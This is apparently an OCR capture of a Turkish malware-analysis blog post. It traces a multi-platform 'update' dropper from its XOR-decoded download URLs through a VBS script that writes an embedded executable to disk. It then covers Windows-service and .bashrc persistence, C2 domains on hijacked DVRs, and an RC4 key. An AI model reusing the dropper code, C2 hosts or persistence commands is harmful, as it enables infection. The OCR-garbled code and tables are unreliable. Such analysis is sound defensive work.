return data.map( function(c, i) {return String.fromCharCede{( c * keyCharAt(key, 1) 2
GY:}).join{""};
}

var mkey= "M4St3Rmdpp3d";

var mdomain = "JUAnBAl9QkcfFkcTLEYZAUMZDEAVAXONKLoBBLY+BECEXLALIBSOGFwwDFgFAFCFOVEG" ;
remoteurl = XORCipher.decode(mkey,mdomain)}+"/osxupdate”;

console.log(remoteurl);

remoteurl = XORCipher.decode(mkey,mdomain}+" /unixupdate”;

console.log{remoteurl);

remoteurl = XORCipher.decode(mkey,mdomain)+" /winupdate"”;

console.log(remoteurl);

LY =] =0 Jo. [er]8. . (S ]8. T




1, root@remnux: /home/remnux/Desktop/polgov/binaries/addon - & x
File Edit Tabs Help

root@remnux:/home/remnux/Desktop/polgov/binaries/addon# nodejs bootstra
p-mert.js
http://softwareupdates.ignorelist.com/globalupdates/osxupdate
http://softwareupdates.ignorelist.com/globalupdates/unixupdate
http://softwareupdates.ignorelist.com/globalupdates/winupdate
root@remnux:/home/remnux/Desktop/polgov/binaries/addon# I

B = v e [0 8. 068




root@remnux: /home/remnux/Desktop/pol/ctf9/binaries

File Edit Tabs
GNU nano 2.5.3 File: winupdate

Help

[function rghzTnoL()
PuafLjoslThwi = "4d5a90000300000004000000TTfTOOEEDLEOEEOEEOAEEEOA(

Dim KigAAVJIhIbV
Set KigAAVJIhIbV = CreateObject("Scripting.FileSystemObject")
Dim DpASzuGgnVP
Dim HpFyGnSFReBwh
Dim gwWuUwMjurYepcHA
Dim ZsdoEeRUhTgTXaE
Set HpFyGnSFReBwh = KigAAVJhIbV.GetSpecialFolder(2)
ZsdoEeRUhTgTXaE = HpFyGnSFReBwh & "\" & KigAAVJhIbV.GetTempName(
KigAAVJIhIbV.CreateFolder (ZsdoEeRUhTgTXaE)
gqwuwMjurYepcHA = ZsdoEeRUhfgTXatE & "\" & "YNpcbVEoyAng.exe"
Set DpASzuGgnVP = KigAAVJIhIbV.CreateTextFile(gwWUwWMjurYepcHA, trus
For i = 1 to Len(PUafLjoslThwi) Step 2
DpASzuGgnVP.Write Chr(CLng("&H" & Mid(PUafLjoslThwi,i,2)))
Next
DpASzuGgnVP.Close
Dim hYNRYAoaVHPcHNJ

[ Read 27 lines ]

ey Write Oout @% Where Is @ Cut Text gW Justify Cur |
13 Read File @\ Replace @l Uncut Textil To Spell Go T




root@remnux: /home/remnux/Desktop/pol/ctf9/binaries

File Edit Tabs
GNU nano 2.5.3 File: winupdate.vbs

Help

HdSaSGGGGSGGGGGGG4GGGGGfoffGGGGb8GGGGGGGGGGGGGG4GGGGGGGGGGGGGGGGGGGG$

[ Read 1 line ]




- root@remnux: /home/remnux/Desktop

File Edit Tabs Help

root@remnux:/home/remnux/Desktop# xxd -r -p winupdate.vbs > winupdate.exe
root@remnux: /home/remnux/Desktop#

root@remnux:/home/remnux/Desktop# file winupdate.exe

winupdate.exe: PE32 executable (GUI) Intel 80386, for MS Windows
root@remnux: /home/remnux/Desktop# [

l[. [root@remnux: H[E_\ ctf9432.zip - )(a...]][- root@remnux: ,f]

24 Mart 2015 tarihinde derlenen Winupdate programi calistirildiktan sonra
WMIC islemine (process) kendisini enjekte ettigini ve ardindan %temp% klasoru
altinda AdobeUpd.exe (shal:013E276E46732F2B8D4CC0489886B6CCE7C229A4) ve
AdobeUpdate.exe (shal:A8B1C28D3F6D977F9D2ABF386197C57DE67667A6) dosyalarini
olusturdugunu gordim.


https://www.hybrid-analysis.com/sample/dd19774bafdd8dcb8f87c1f2e14584159451e961923932ab961e3d351adcdfb7?environmentId=100

File Help

wel X8 %

=B chusers\mert\desktop\polgovibinaries\winupdate.exe

I indicators (8/17)

1 wvirustotal (39,55 - 21.11.2016)
----- O dos-stub (136 bytes)

..... o

----- O optional-header (224 bytes)
----- O directories (4/15)

----- O sections (3)

----- O libraries (1)

----- O imports (4/112)

----- O exports (n/a)

----- O exceptions (n/a)

----- O tls-callbacks (n/a)

" resources (Executable)
----- abe strings (283/7272)
.47k debug (n/a)

----- g manifest (n/a)

..[19] wersion (1/10)
certificate (n/a)

----- L] overlay (n/a)

a e

property

signature

machine

sections

stamp

PointerToSymbolTable

symbols

SizeOfOptionalHeader

processor-32bit

Relocation stripped

Large Address aware

uniprocessor-only

system-image

dynamic-link library

executable

debug information stripped

if on a removable media, copy and run from the swap
if on a Metwork, copy and run from the swap

value
000004550
Intel

3

0x551152D9 (Tue Mar 24 14:04:41 2015) @

000000000
00000 (0)

0x00ED (224 bytes)

true
true
false
false
false

false

false
false

false

File Help

we X8 7

=08 chusers\mert\desktop\polgov-extiadobeupd.exe

----- O dos-stub (120 bytes)
----- O file-header (20 bytes)
----- O optional-header (224 bytes)
..... O directories (4/15)

..... O sections (3}

----- O libraries (1)

..... O imports (4/65)

..... O exports (n/a)

..... O exceptions (n/a)

----- O tls-callbacks (n/a)

¥ resources (2/7)
strings (30/275)

.. 4% debug (n/a)

..... 5 manifest (n/a)

23] version (1/9)
certificate (n/a)

..... 13 overlay (n/a)

4 1

engine (57) positiv (7)

McAfee- GW-Edition BehavesLike.Win32.Downloader.mz
Mchfee Generic PWS.y
Avira TR/Siggen.juhli
Driveb Trojan.5iggend 6489
MNANC-Antivirus TrojanWin32.Mlw.eilmxp
Aovast Win3Z:Malware-gen
Bkav clean
MicroWorld-eScan clean

nProtect clean

CMC clean
CAT-QuickHeal clean

Malwarebytes clean

Zillya clean
SUPERARNtiSpyware clean

TheHacker clean

KIGW clean

KTAntiVirus clean

Arcabit clean

TrendMicro clean

Baidu clean

F-Prot clean

Symantec clean

TotalDefense clean
TrendMicro-HouseCall clean

ClamAV clean

Kaspersky clean

BitDefender clean

ViRobot clean

Tencent clean

Ad-Aware clean

Emsisoft clean

Comodo clean

F-Secure clean

date (dd.mm.y...

2111.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
2111.2016
21.11.2016
21.11.2016
2111.2016
21.11.2016
21.11.2016
21.11.2016
1811.2016
21.11.2016
17.11.2016
21.11.2016
21.11.2016
2111.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
21.11.2016
2111.2016
21.11.2016
21.11.2016
2111.2016
21.11.2016
2111.2016
21.11.2016
21.11.2016
21.11.2016
2111.2016

age (...

6
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g pestudic 8.54 - Malware Initial A ent - www.winits rnm,_

I_:ile__ Help
r|d X B %

T | ) o]

=B chusers\mert\desktop\polgov-ext\adobeupdate.exe engine (56) positiv (32) date (dd.mm.y.. age (.. =
McAfee Artemnis!01AS6B91 EGRE 14.11.2016 13
McAfee-GW-Edition BehavesLike.Win32. Trojan.tt 1311.2016 14
""" S, Sy MicroWorld-eScan Gen:Variant Kazy. 745415 1411.2016 13
..... o flle-_header 20y AlYac Gen:Variant.Kazy. 745415 14.11.2016 13
----- O optional-header (224 bytes) - : 4
_____ O directories (4/15) BitDefender Gen:Variant.Kazy.745415 1411.2016 13
_____ O sections (3) Ad-Aware Gen:Variant.Kazy.745415 1411.2016 13
_____ O libraries (1) F-Secure Gen:Variant.Kazy.745415 1411.2016 13
_____ O imports (4/98) GData Gen:Variant.Kazy.745415 1411.2016 13
..... O exports (n/a) Emsisoft Gen:Variant.Kazy. 745415 (B) 1411.2016 13 =
..... O exceptions (n/a) AVG Genericld_cI5W 14.11.2016 13
----- O tls-callbacks (n/a) Qihoo-360 HEUR/QVMO3.0.Malware.Gen 14.11.2016 13
----- 8% resources (2/9) Symantec Heur.AdvML.C 1411.2016 13
----- abe strings (wait..) AhnlLab-V3 Malware/ Win32.Generic.M1737323262 1411.2016 13
'J% debug (n/a) KIGW Spyware (004d53¢91 ) 14.11.2016 12
----- B manifest (n/2) K7 AntiVirus Spyware [ 004d53¢91 ) 14.11.2016 13
~{20] version (10) Bira TR/Spy.Agent1232896.79 14112016 13
[ certificate (n/a) Panda Trj/GdSda.A 13112016 14
""" L overlay (wait.) Tkarus Trojan-Spy.Agent 14112016 13
Zillya Trojan.Agent.Win32,585022 11.11.2016 16 T
Arcabit Trojan.Kazy. DBSFCT 14.11.2016 13
MANO-Antivirus TrojanWin32.Agent.ebjjba 1411.2016 13
VIPRE TrojanWin32.GenericlBT 14.11.2016 13
Alfware Trojan Win32.Generic!BT 1411.2016 13
Yandex TrojanSpy. Agentlesl/T405QLS 1311.2016 14
Microsoft TrojanSpy:Win32/Skeeyah.Alrfn 1411.2016 13
Kaspersky UDS:DangerousObject.Multi.Generic 14.11.2016 13
Fortinet W32/VBKrypt.Cltr 14.11.2016 13
Tencent Win32.Trojan.Spy.Een 1411.2016 13
Baidu Win32.Trojan.WisdomEyes. 16070401.9500.9.., 11.11.2016 16
ESET-NOD32 Win32/5py.Agent.OT) 14.11.2016 13
Bkav clean 12.11.2016 15
nProtect clean 14.11.2016 13
LI I l CMC clean 14.11.2016 13 52

I1k olarak AdobeUpd.exe programini VB Decompiler araci ile inceledigimde,
calistairildiktan sonra %TEMP%\AdobeUpdate.exe programini
SWINDIR%\System32\AdobeUpdate.exe klasdrine kopyaladigini ve Windows yeniden
baslatildiginda otomatik olarak calisabilme adina AdobeUpdate servisi
olusturdugunu tespit ettim. Bu arada unixupdate programinin Linux Uzerinde
calistirildiktan sonra kendisini kullanicinin HOME dizini altina .unixupdate
ad1 altinda kopyaladigini ve bulundugu dizini .bashrc dosyasinin sonuna
ekledigini de Linux kullanicilari ile paylasayim.


https://www.hybrid-analysis.com/sample/87668837614a7c7bcaf32993236e7f86a1359cdd6c5e9d761e834a345fdc6cb0?environmentId=100
https://www.vb-decompiler.org/
https://www.hybrid-analysis.com/sample/1f954911064d71b0458b016f2b4e6a3998b4be93101322a2d83f8336990fc4de?environmentId=100

FileName:  C:\Users\Mert\Desktop\polgoviAdobelpd.exe 'Decompile_

Objects Tree: Native Code V| Parse stack parameters | Procedure analyzer and optimizer

+ [ Code Sub Main |
0 Sub_Main 2669: GoTo loc_004027Cé o
0 moduleA 266E: 'Referenced from: 0040250B

266E: var_AB = var_ 98

271B: var_68 "move " & EnvircnS(var_aB) & "\AdobeUpdate.exe " & Environ$ ("windir") & "\¢
2758: var_78 var_68 & Environ$ ("windir") & "\System32\AdobeUpdate.exe DisplayName= Adobs
277B: var_24 = var_78 & "sc failure AdobeUpdate reset= 30 actions= restart/10000/restart/:
27C6: 'Referenced from: 00402669

27E4: var DO = "cmd /c "

27F8: var_B88 = "cmd fc " & var_24

2825: If wvar 38 = 0 Then GoTo loc_ 00402DFS

2830: var_eax = Sleep(10000)

285B: var_ 88 = "temp"

2882: var_b58 = Environ$ (var_ 88) & "\tmp0Ol1l"

2885: var_eax = Proc_403190(var_ 58, var_ 88)

288A: var_104 = Proc_403190(var_58, var_B88)

28B7: If var 104 = 0 Then GoTo loc_00402B31

2BCS5: var_b4 = "C:\Program Files\BitDefender"

28CF: var_eax = Proc_403300(var_54)

28D4: var 110 = Proc 403300 (var 54)

28DB: var_eax = Proc_403230

28F1: var 104 = Not (Proc 403230)

2901: If var_104 = 0 Then GoTo loc_00402B31

2968: Open Environs ("temp"”) & "\tmp(00l" For Random As #1 Len = Len(var 3C)

299A: Get #1, 1, var_3C

AARA . T mma B

4 I 3

7 AP

root@ubuntu: ~
GNU nano 2.5.3 File: .bashrc

. ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in fetc/bash.bashrc and fetc/profile
# sources fetc/bash.bashrc).

#if [ -f fetc/bash completion ] && ! shopt -oq posix; then

# . [etc/bash_completion

#f1i

Jroot/.unixupdate

Wi Exit @i Read File Replace Ml Uncut Text To Spell gl Go To Line

Get Help Write Out Where Is [ cut Text Justify [@® Cur Pos
Fay AT



: Canieupdate

File Edit Jump Search View Debugger Options Windows Help

» @ O |Remate Linux debugger - wE 3 00o BE APF S D AY 3
i (N & zl
Library function Data [l Regular function Unexplored Il Instruction External symbol
| Debug View a 0} Structures ] Enums
E IDA View-EIP O & x i General registers O & x
""""" [680%8E23 lea edx, aFFFAocoL[eax] : ~uUnix.softwareupdate.ignorelist.com:443" |« i » m e |
08048629 mov eax, [ebptvar_10] 7
0804862C mou ecx, [ebptuar C] 53 Modules e
0804862F add eax, ecx Path -
08048631 shl eax, 3 | : =
08048634 mou ecx, eax @ froot/ unixupdate
08048636 shl ecx, 4 (=l [vdsol %
08048639 add eax, ecx 4 L) »
08048636 add eax, offset aFFFAool ; “unix.softwareupdate.ignorelist.com:443" #
08048640 mov [esp+98h+uar_94], edx
08048644 mou [esp*98h+uar_98], eax [3] Threads 0 & x
08048647 call near ptr decode [ T
08048BHC test  eax, eax Decimal Hex State
0804864E jnz loc_8048422 @ 5145 1419 Ready
100.00% (993,1698) (196,12) UNKNOWN 0804842B: openconn+69 (Synchronized with EIP)
(& Hex View-1 0 # x [Dstackvi. D & x
FFCSEFED T3 20 25 73 B0 58 41 55 5S4 48 4F 52 49 54 59 3D s+Zs.XAUTHORITY= ~ FFC48310 -
FFCSBFCO 2F 72 6F BF 74 2F 2E 58 61 75 T4 68 6F 72 69 T4 /root/.Xauthorit FFC48314 OB80EF
FFCSEFDO 79 0@ S5F 3D 2F 72 6F 6F 74 2F 2E 75 BE €9 78 75 y._=/root/.unixu FFC48318 0OOOE
FFCSEFEG 7O 64 61 T4 65 00 2F 72 6F 6F T4 2F 2E 75 6E 69 pdate./root/.uni FFC4831C 08OGE
FFcseFFo 78 I8 70 64 61 74 65 00 00 00 00 60 60 0O 00 00 xupdate......... FFC48320 0000¢ =
=| UNKN FFC4 (Syn -
UNKNOWN FECSBEF1: [stack]:FFCSBEF1 - 4 >
[= Output window o & x

Flushing buffers, please wait...ok -
Python |

AU idle Down

AdobeUpdate programi calistirildiktan sonra kaynak koduna gomiuli olan komuta
kontrol merkezi sunucularina 80, 8080 ve 443 baglanti noktalarindan erismeye
calisiyordu. Isin ilging¢ yani ise haberlesmeye calistigi komuta kontrol
merkezlerinden c¢ogunun Tirkiye’de bulunmasiydi. IP adreslerine baglanmaya
calistiginizda da bu ip adreslerinden bazilarinin DVR cihazlarina ait
oldugunu gdrebiliyordunuz. 0zellikle DDoS saldirilarinda kullanilan IoTlerin
hedeflenmis saldirilarda da ziplama noktasi olarak kullanilmasi sanirim bu
saatten sonra kimseyi sasirtmayacaktair.


https://krebsonsecurity.com/2016/10/hacked-cameras-dvrs-powered-todays-massive-internet-outage/

Domain Address Country

don com 8510529177 Turkey

2erizhis v

8510529177 Turkey
wudang ignorelist com 851056207 Turkey
89b5abded5deeT5THOT Mooo com
allegro.crabdance com 851056207 Turkey
xinjua ignorelist com 832121885 Gieece
anbroib strangled net 83 NI1N88BS Gieece
checkip dyrdns.ong 1161464370 United States
Contacted Hosts
® Download Contacted Hosts (CSV!
2161464370 80 WITiC €€ United States -
P PID- 2464 ASH 33517 [Dymamic Network Services. in
S}'! I,D,S,J) 207 8080 wmic exe
P 54 Rrce Sk

83112118 85 443 wimicexe

8510529077 8080 urkey
- TP ASH: 9721 [Trk Telakomuniasyon Ancrim Srie
851059177 443
P m Sekat
85105.6.207 443
83.212118.85 2080 winic exe Greece
T PID: 1464

T C' | ® allegro.crabdance.com/login.rsp ‘ w| i

DVR LOGIN

Password

' Remember me




& =2 C | © anbroib.strangled.net ¥

Apache2 Ubuntu Default Page

b

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

e o w s o it e ol S
T1g)! 2 L10 UV =

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

JSetc/apache2/

| [-- apache2.conf .
I | ! “-= nnrts _conf
5 C' | ® wudang.ignorelist.com/login.rsp ve

Language

. Remember me

Tabii zararli yazilimin derlenmesinden 1.5 sene sonra komuta kontrol
merkezlerinin hala calisir olmasini beklemek hayalcilik olurdu dolayisiyla
calisan bir komuta kontrol merkezi maalesef bulamadim. Ben de bunun lzerine
calistirilir calistirilmaz haberlesmeye calistigi komuta kontrol merkezinin
login.php sayfasina goénderdigi sifreli veriyi c¢ozmeye karar verdim.
AdobeUpdate.exe programinin sistem lizerinde calistirdigi WMIC islemine
(process) kod enjeksiyonu yaptigini bildigim icin IDA Pro ile kod enjeksiyonu
yapilan noktayi AdobeUpdate programi lzerine tespit etmeye calistim ancak


https://www.hex-rays.com/products/ida/

cesitli teknik engellerden dolayi IDA Pro beni biraz hayal kirikligina
ugratti. Immunity Debugger aracini her zaman daha kullanisli bulan biri
olarak bu defa ne varsa eski dostta vardir diyerek incelemeye calistigimda bu
defa Immunity Debugger aracinin c¢oktiuginid gordim. Bu bir kabus olmali derken
O0llyDbg aracinin tahtina aday olan x64dbg araci imdadima yetisiverdi.
AdobeUpdate programi Visual Basic ile gelistirildigi ve enjeksiyon sonrasi
zararli kodun bellekten calistirilmasi amaciyla CallWindowProc API
kullanildigini goérdigim icin bu API cagrilmadan once bellekte PE dosya
formatinin baslangi¢ degerlerini 4D5A90 (magic header) aratmaya karar verdim.
Arama sonucunda zararli yazilimin c¢ekirdegine basariyla ulastiktan sonra
bellekten diske kayit ettim. (dump)

M packets 20161119 105220 pcop (Wireshark 1105 (SVN few 54262 from firunk-110) I EESEEECE— 7 &=
File Edit View Go Capture Analyze Statistics Telephony Tools [ntemals Help

oo AN d BEXD AEPDTL Qaen aB®m% B
Filter: | tcp.stream eq 0 |E|Blvnminn.-. Clear Apply Save

No. Tirne Sola Protocol Length Info ==

Destination

116 223. 066000 127.0. 127.0.0.1 TP 40 swidy-sias > ddi-tcp-1 [ACK] 5eq=1 Ack=1 Win=8192 Len=0

0.1
117 223.077000127.0.0.1 127.0.0.1 TCP 476 [TcP segment of a reassembled Pou]
118 223.132000127.0.0.1 127.0.0.1 HTTP 637 POST http://zenzhu.twilightparadox.com:8080/login.php HTTP/1.1 (application/x-weww-form-urlencoded)
122 223.207000127.0.0 [CP 0 gy ddi-tep A g0=10 A 0 [in=7168 Len=0
124 223.211000127.0.4' . Follow TCP Stream * & — W e e e e et J156 Len=0
126 233.215000127.0.4 == — = o e M o - o = 156 Len=0

Stream Content

POST http://zenzhu. twilightparadox. com:8080/Togin. php HTTP/1.1
accept: text/html, *=/*=

Accept-Language: en-gb

Accept-Encoding: none

HosT: zenzhu.twilightparadox. com

content-Type: ag?'l1cat10n/x—hw—lform~ur'lencoded : -

user-agent: Mozilla/s.0 (comgahb'\e; MSIE 8.0; windows NT 5.1; Trident/4.0; SLCCL; .NET
CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)

Content-Length: 597 =

Proxy-Connection: Keep-alive

Pragma: no-cache

xseamsppdlxbkumbu'l151Rry)<s?G\mzvoaafnv;uNKJpBQpNgaFrMEpfmekjnszcbloyNuKMr/
deUZSViHQg? 3rwyf z1Kqd7 31PbPxwvlosdyeidarxgeejFn/eqlHorsho

+DaCsyX5Y4 8r T XDwFOLNILZgVCTPNPBERY0A1R 517 DTS cvwlol RH WM/

v3IPxEat9d6QiBcru I(.?ukasr?ﬂe]GpranZZMBrksFﬂqu3Kf pqunuupkvzarfsﬂqvono
+HtNavevzhjhOFzBQlreaa6C54a1XCpgEKFkhc6bgcgebnhd TABTKUEGSef09pcd/

Kcsqner 6mkharz T11ITKIX07mEVABYL 32Q5ypCE 3haoZwHEdL yIyBaarnead 0BNASya3KC1d3rcioapkzarbjaTvz
n3zBeTrqHgnvbzdwc jLGg,/ 1 SrkGJmB/A5n¥B)m~ngyd1+p4 gMeRVQSnuJSH

+ZTMIBVASOqNGG] lv}cum PIMpmOFYG,/ 81MZQZIKIMZA /wnal j BbKpOHIB1 jHUVMFKb/

® Frame 118: 637 bytes o
1smm.hbg,«;gi:rhmrtc(T\:gssl'\rgqe«m:gmrmm

|

# Raw packet data
® Internet Protocol Vers|)
® Transmission Control P{|
|

# [2 Reassembled TCP Se
= ml% |_§

@& Line-based text data:

Entire conversation (1033 bytes) E
[ Eind || saveas || peint | asca ) EBCDIC ) Hex Dump O € Amays © Raw
Help Filter Out This Stream | | Close ]
[T AR TR = — ———— —— ————— I
0010 7f 00 0D 01 04 ez — =
0020 130.15103:004cc560100-00 :38: 23,65 3535 dd d2ard [P oons seOiMbp =

Frame (637 bytes) | Reassembled TCP (1033 bytes)|

@ [ File: "C:\Users\Mert\Desktop\fakenet-ng_1.0... |Packets: 173 - Displayed: 7 (4,0%) - Load time: 0:00.004 Profile: Default


https://www.immunityinc.com/products/debugger/
http://ollydbg.de/
http://x64dbg.com
http://waleedassar.blogspot.com.tr/2012/03/visual-basic-malware-part-1.html
https://www.hybrid-analysis.com/sample/47af0f23a5688c2c796f470a45ab055171d1b2230e00a276b541d503677d149a?environmentId=100

x32dbg D04 - Module: adobeupdate. exe - Thread

Fila View Debug Plagins Favoures Options  Help  hov @ 2016
D6 i td taBlermggjRors,w B e i a0 BPER 30
Bou | @ aph ™ MernoryMsp | [ CallStack | ®pSEH | o Seript | @) Symbok | € Soce | S References | > Throads i # srowman | d Handles

o) TV Pro 5
or 8ax,8ax aax: XYY YPhp ‘—& Hide FPU
- agg‘:eundﬂedﬁiﬂ EAx 01323928 “wrervehp”
EBX 01325938
push sdobzupdte. 403304 403304 :4"user32” £6¢  TodauaiE
beupdate. 0l 1FunctionCalls eax: "XryyyPhp'" EDX 00000010

mov_eax, <a
eax

&ax; "xrvrvehp" EST  0OOOODOOF
eax: "Xvryvehp” | E01 00000000
- EIP  0040331C adobeupdate. 0040331C
H EFLAGS (0000212
i ool - el ZF0 PFO AF1
H 2ax; "XrYY F F 0
00 00 00 53 em-‘mwphﬁ-- g:: 2 f, 2 ?F 1
74 57 d EELT
35 64 6F 77 50 6F ebp, dword p:;sgéé[e:h&j,é:sw?sr LastError 00000000 (ERROR_SUCCESS)
- 2
o0 00 r dsifeax],a eax: "X rYPhp"
8% s aei ety on i 53 0o0 £ oo
4 eax: "xrryyPhp”
4c 33 40 ds: [ebx+esi+40], 1 ©s Qile  ss o023
o0 2ax],al 1Ry YPhp"
gg gg ot en eaxreax],al e
@0 XnrYYPhp” Default (stdcall)
o0 "Ry YPhp" 4
00
ALl 38 oV Eax

.
i

5 ) .
[0040852C] =<user32.ca dowPracas
0040331C adobeupdate.exe:$331C #331C
Woump2 | $Mourp3 | MOoumpd | @HoumpS | @ wamhi 00
T | corzFses

Q000
GOL2FSF4 rbvm0. __wbaHresul i
QUL2F5FE
QO12FSFC {-N

Q0L2F600
Q012F 604

gt

CoSomoo

2
T
f83N888y88

@
2
E3
b4
@
o

28E82888

22a8888858S
ESEmfcsseTsse

|z2gz2a8288s

EQ 7E 3E D6 A4

d: Main Thread 93C

File View Debug Phgine Favourites Options Help 1lov o o01c
coEsn td taBlioemgaiacr,rvyBdZsei a0 Qe 210
[_Iw[’&aimlgtog[c;um | @ predponts | e MemoryMep | () CallStack | = GEM | o Serpt | @ oymbok | © Sowee | X Reforences | W Theeads | & Srowman | o Handies |

;gat
T

Q4FAQD2A | 4D
SADTO000 (4D

7700000040
7TE70000 |40
7IFLO000 |40
FIFEQOOD | 4D
FCEOO000 |40
FCOO0000 | 4D
TEAL0G00 4D
FEFZ0000)|40

FERFETEEEEEYETEY
2888228828 888288

Search: [Type here to filter resuls... |00 Regex




File Help

w8 %

----- ail indicators (11/28)

----- pY virustotal (34/56 - 21.11.2016)
----- O dos-stub (192 bytes)

----- O file-header (20 bytes)

----- O optional-header (224 bytes)
----- O directories (4/15)

----- O sections (4)

----- O libraries (8/17)

----- O irnports (226/336)

----- O exports (n/a)

----- O exceptions (n/a)

----- O tls-callbacks (n/a)

----- 2" resources (1)

----- abe strings (430/6123)

.47k debug (n/a)

----- g manifest (invoker)

..[19] version (n/a)

certificate (n/a)

----- L] overlay (unknown)

4 L} (3

property
md5

shal
imphash
cpu

size
entropy
description
version
date

type
subsystem

signature

value

EFA75630901752598 DBEGATSECTOAFLL
BEDIABSC28DTFDOC020256 CBASSBI15D6F323E9E
n/a

32-bit

587984

65750

n/a

n/a

16:11:2016 - 13:47:02

executable

GUI

n/a

IDA Pro ile diske kayit ettigim zararli yazilimi analiz ettigimde cok

gecmeden komuta kontrol merkezine gdnderilen verinin RC4 simetrik sifreleme

algoritmasi ile sifrelendigini gordim. RC4 sifrelemesinde kullanilan

anahtarin olusturulmasinda kullanilan WePWNhouses12345 karakter dizisi, bu

zararli yazilimin ev kullanicilarini hedef almak amaciyla gelistirildigi

ihtimalini gundeme getiriyordu.


https://en.wikipedia.org/wiki/RC4

e B v Seach—\View— Trebier—Options — Wisows —Hely
» O [Local Win32 debugger @ 300 om @E AT Dl B E 8
|3||||||||||||||||||||||||||i||||||||||||||||| ey --_-_—— ]

Library function | Data [l Regular function I Unexplored [l Instruction = External symbol

| Debug View B ||I| Structures [x] l Enums x J
(] DA view£1P O & X i3k General registers O & x
) EAX 002761DA % debugd19:662761DA I 8
EB% BBBOO1BE & 3{1; g
loc_4355F6: ; dwBuflLen ECX 00000000 a0
push ebx EDX 880808802 % UH @8
push i 5 int . ESI B02761D8 % debug019: 00276100 RE @
:g;l i:h—"gﬁzn 2 SHUTEGHENS LG EDI 88276008 % debug8i9:00276000 NT @
o alp’al EBP BB18FAS8 % Stack[O08H0818]:0018FABS LopL @
5z Short loc 435588 ESP 0018F668 & Stack[00000818]:0013F668 o
EIP BB4355F8 & sub_435568+98 IF 1
" |EFL 00888212 TF 8
il e = SF 9
o 2F 0
p [ebp+arg_4], 1 aF 1
jnz short loc_435613 loc_A4355B8: PE 8
- o mov ecx, dword_59BBBC oF 3
100.008 (-30,1233) (643,36) 000343F7 004355F7: sub_435560+37 (Synchronized with EIP)
(B Hex view-1 O & x [Q stackview O & x
60276190 41 08 78 00 70 08 44 B0 61 08 74 08 61 08 5C 08 ~ 0018F664  002761DA  debugd19:0027561DA -
602761A0 4C 08 6F B8 63 B8 61 B0 6C 08 5C 08 54 08 65 08 [REAL 1Tt M 06276108 debug019:802761D8 I
60276160 6D 00 708 B0 AB AB AB AB AB AB AB AB EE FE EE FE — 0p18F66C 0OBBO1BE =
602761C0 8 00 0 B0 08 B0 08 60 5D F& D& 36 AC BA 00 1A 0018F670 B859B2C8  .data:word_59B2CE
80276100 4E 49 54 43 B4 01 60 00 01 31 00 30 06 30 6O 0018F674 00273860 debugdd®: 00273860
602761E0 30 00 32 00 30 00 62 60 35 00 30 00 32 00 36 00 0618F678 00000001
602761F0 3A 00 61 00 323 00 30 00 33 00 30 00 69 00 57 0O 0018F67C O018F6A8  Stack[00B00818]:0018F6AS
60276200 49 08 4E 00 2D 00 41 B0 37 08 44 08 43 08 42 08 0018F680 7796EBFE  ntdll.d1l:ntdll_EtwEventActiviti
66276210 58 06 58 00 33 08 53 B0 43 00 4D 00 69 08 31 08 0018F684  800B0EOE
60276220 39 06 32 00 2E 60 31 60 35 00 38 00 2E 08 39 08 0018F688 80000001
60276230 32 00 2E 60 31 60 39 60 34 00 69 00 37 00 38 08 0018F68C 7796ECOS ntdll.dll:=ntdll_EtuEventActivit:
60276240 2E 06 31 00 38 00 31 00 2E 00 31 00 33 00 32 00 0018F690 O018F6B8  Stack[000008181:0018F6BS
60276250 2E 00 32 00 30 00 36 00 069 00 57 00 69 00 6E 0O 0618F694 7SBEEBAG wininet.dll:wininet HttphddRequ
60276260 64 00 6F 00 77 00 73 00 20 00 37 00 20 08 53 0O 0018F698 75C89E7C  wininet.d1l:75C89E7C
60276270 65 08 72 08 76 B0 69 B0 63 08 65 08 20 08 50 08 0018F69C  800BOAOY
60276280 61 08 63 00 6B 08 20 B0 31 08 B9 00 47 08 65 08 0018F6A0  80000BE1
60276200 6E @8 75 B0 60 B0 6E B0 65 00 49 00 6E 08 74 08 0018F6A4 O018F804 Stack[00AAOS18]:0018FE0L
60276200 65 00 6C 00 20 00 78 00 38 00 36 00 69 00 32 0O
UNKNOWN 0018F662: Stack[00000812]:( (Synchronized with ESP) -
UNKNOWN 00276100: debug019:00276100 - n ] »
=] outputwindaw o& x
Flushinﬁ huFFers; hlease wait...ok 2

A Disk: 23GB

File Edit Jump Search View Debugger Options .Wlndm _i-;dp
> ook e 300w B @it Do
_-III_I_III-II-__III LT R ——

Library function Data [l Reguiar functon Unexplored [l Instructon External symbol

| Diebug View 8 & Structures | Enums
[ DA View-£TP O & x | 35 Generalregisters 08 x
| [ EnX 002761DA % debugi9: 00276108 i 8
ecx, [esp+3Ch+phHash] EBX 00081BE UIP @
edx, [esp+3Ch+phProv] | UIF @
eax, [esp+3Chephiley] ECH 00000000 ac @
eax ; phKey EDX 800000802 « UH B
800000h ; dwFlags |EST 00275100 % debugdi?:@B276100 RF 8
ecx ; hBaseData EDI 00276000 & debugi9: 00276000 NT B
6801h ; Algid ol . I0OFL @
edx S hPron |EBP B018FA8E W Stack[AO0ABE18] - BG18FARE oF
ds:Ul'yptDL‘\‘lUE‘l{t‘;l ESP 0018F668 % Stack[G0000818] : 0O18F 668 OF B
eax, eax EIP @04355F8 % sub_435568+98 IF 1
short loc_437278 EFL 8papA212 TF @
SF 8
ZF @
P = — L
PF B
moy eax, [esp+3Ch+dwBuflen] CF B
noy ecx, [esp+3Ch+var_20] loc_k37270:
noy edx, [esp-:{ch-phkey] mou ecx, [esp+3Ch+var_4]
push eax ; dwBuflen pop edi
moy {esp-lll]hommnataLen]. eax pop esi
lea eax, [esp+hbBh+pdubatalen] moy al, bl
